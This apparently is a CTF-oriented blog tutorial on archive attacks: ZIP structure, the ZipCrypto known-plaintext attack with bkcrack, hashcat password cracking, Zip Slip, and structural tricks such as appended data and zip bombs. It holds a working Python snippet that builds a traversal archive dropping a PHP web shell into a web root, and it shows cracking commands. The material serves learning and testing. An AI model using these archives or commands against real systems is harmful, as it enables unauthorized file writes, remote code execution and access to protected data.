Skip to content
All posts
forensicsrevised August 18, 20267 min read

Archive attacks: ZIP crypto, known plaintext, and Zip Slip

Cracking a password-protected archive without cracking the password, why legacy ZipCrypto falls to twelve known bytes, path traversal through an entry name, and the structural tricks that make one archive hold two different sets of files.

Archives show up in CTF constantly - as the challenge file, as something inside an image, as an upload target. They repay a little structural knowledge, because a ZIP is not one thing: it is a sequence of local file records followed by a central directory, and the two can disagree.

That disagreement, plus two very different encryption schemes with very different strength, plus filenames that are used as paths, produces the four attacks in this post.

Reading the structure

unzip -l chal.zip            # what the central directory says
unzip -v chal.zip            # plus compression method, CRC, and sizes
zipinfo -v chal.zip          # everything, including the encryption flag
7z l -slt chal.zip           # 7-Zip's view, which sometimes disagrees usefully

xxd chal.zip | head          # PK\x03\x04 local header
xxd chal.zip | tail -30      # PK\x05\x06 end of central directory
FieldWhere it matters
CRC-32 of each entryIt is stored in the clear even when the file is encrypted. That is a 32-bit fingerprint of the plaintext.
Compression method8 = deflate, 0 = stored, 99 = AES. Method decides which attack applies.
General purpose bit 0Set means encrypted. Bit 3 means sizes are in a trailing descriptor, not the header.
Local header vs central directoryA file listed in one and not the other is invisible to some tools and visible to others.
Comment fieldsBoth per-entry and archive-wide. Arbitrary bytes that no listing shows by default.

The two encryption schemes

This distinction is the most important thing in the post, because one scheme is broken and the other is not.

ZipCrypto (legacy)AES-256 (WinZip / method 99)
StrengthBroken. A stream cipher with a 96-bit internal state and a known-plaintext attack.Sound. Brute-forcing the password is the only option.
How to spot itzipinfo -v shows no AES extra field; 7-Zip reports ZipCryptoAn AE-1/AE-2 extra field; 7-Zip reports AES-256
AttackKnown plaintext with bkcrack - 12 bytes is enoughDictionary and mask attacks with hashcat
FilenamesStored in the clearStored in the clear (only contents are encrypted)

Known-plaintext against ZipCrypto

Biham and Kocher's attack recovers the three 32-bit internal keys from twelve known plaintext bytes, and those keys decrypt *every* entry in the archive - not just the one you had plaintext for. You do not recover the password, and you do not need it.

So the whole problem becomes: find twelve known bytes. In practice that is easy, because file formats have fixed headers.

  • A PNG entry starts with the 8-byte signature plus a 4-byte IHDR length. That is exactly twelve.
  • A PDF starts %PDF-1. and a JPEG with \xff\xd8\xff\xe0\x00\x10JFIF\x00.
  • An entry that is also present unencrypted elsewhere - the same logo, the same README - gives you the whole file.
  • Crucially, the comparison happens on the compressed stream, so you need the deflate output of the known bytes, not the bytes. bkcrack handles this if you give it a zip containing the same file compressed the same way.
# Put the known plaintext in a zip compressed identically, then attack.
zip -0 known.zip plain.png                     # stored, to match a stored entry
bkcrack -C chal.zip -c secret.png -P known.zip -p plain.png

# With the three keys, decrypt everything - or re-key the archive to a password.
bkcrack -C chal.zip -k 12345678 9abcdef0 13579bdf -D out.zip
bkcrack -C chal.zip -k ... -U new.zip newpassword
The -U form is the convenient one: it rewrites the archive with a password you chose, after which any tool opens it normally.

Brute-forcing the password

When it is AES, or when you have no known plaintext, extract the hash and treat it as an ordinary cracking job - the hash cracking post applies unchanged, including the argument for masks over wordlists when you know the shape.

zip2john chal.zip > hash.txt
hashcat -m 17225 hash.txt rockyou.txt          # ZipCrypto
hashcat -m 13600 hash.txt rockyou.txt          # WinZip AES

# RAR and 7z have their own extractors and modes.
rar2john chal.rar > h && hashcat -m 13000 h rockyou.txt
7z2john.pl chal.7z > h && hashcat -m 11600 h rockyou.txt

Zip Slip: the filename is a path

An entry name is an arbitrary string, and many extractors join it to a destination directory without normalising it. An entry called ../../../../etc/cron.d/x therefore writes outside the extraction directory - which turns an upload feature into an arbitrary file write.

import zipfile
with zipfile.ZipFile("evil.zip", "w") as z:
    z.writestr("../../../../var/www/html/shell.php", "<?php system($_GET['c']); ?>")
    z.writestr("normal.txt", "so the archive looks ordinary")
Python's zipfile.extractall sanitises names; many Java, Go and Node libraries historically did not, and hand-rolled extraction loops almost never do.
  • Absolute paths work against some extractors too - an entry named /etc/passwd.
  • Symlink entries. A ZIP can store a symlink; extract it, then extract a second entry *through* it, and you write wherever it points. tar archives do this even more readily.
  • Windows separators (..\) get past checks written only against forward slashes.
  • The connection to uploads is direct: any feature that accepts an archive and unpacks it is a candidate, which makes this the highest-value thing to test on the flows in file upload to RCE.

Structural tricks

  • Two contradictory directories. Because tools disagree about whether to trust the central directory or the local headers, an archive can present different contents to unzip than to 7-Zip or to a Java library. Always list with at least two tools.
  • Appended data. A ZIP is located from the *end* of the file, so anything prepended is ignored - which is why a ZIP appended to a JPEG is still a valid ZIP and still a valid JPEG. binwalk finds these; so does looking for PK\x03\x04 at a nonzero offset.
  • Nested archives. A zip inside a zip inside a zip, sometimes hundreds deep, often each with a password hidden in the previous layer. Script the loop rather than clicking.
  • Zip bombs. A small archive that expands to petabytes, either through recursive nesting or through overlapping entries that share compressed data. Relevant as a denial of service and as a reason to extract with a size limit.
  • Password in the comment. The archive comment is not shown by unzip -l. Check it. It is a common and slightly unfair challenge trick.

Other formats, briefly

  • tar has no compression, no encryption and no index - it is a stream of headers and data. Its risks are symlink and path traversal on extraction, and its forensic value is that deleted-but-not-overwritten members may still be present in a concatenated archive.
  • 7z encrypts filenames when asked, which makes it strictly stronger than ZIP for that reason alone. Header encryption is the tell: 7-Zip prompts for a password just to list.
  • RAR supports recovery records and solid compression; a solid archive cannot decompress one member without the previous ones, which matters for partial recovery.
  • gzip stores the original filename and an mtime in its header, which is metadata somebody forgot about.

Working an archive, in order

  1. List with two different tools and compare. Read the archive comment.
  2. Check the encryption method per entry. ZipCrypto and AES lead to completely different work.
  3. If any entry is small, try brute-forcing its plaintext against the stored CRC-32 before anything else.
  4. For ZipCrypto, find twelve known bytes - a file header, or a file present unencrypted elsewhere - and run bkcrack.
  5. For AES, extract the hash and crack it with a mask if you know the shape, a wordlist if you do not.
  6. Check for entries whose names traverse, and for symlink entries, before extracting anything anywhere you care about.
  7. binwalk the archive itself, in case it is also another format.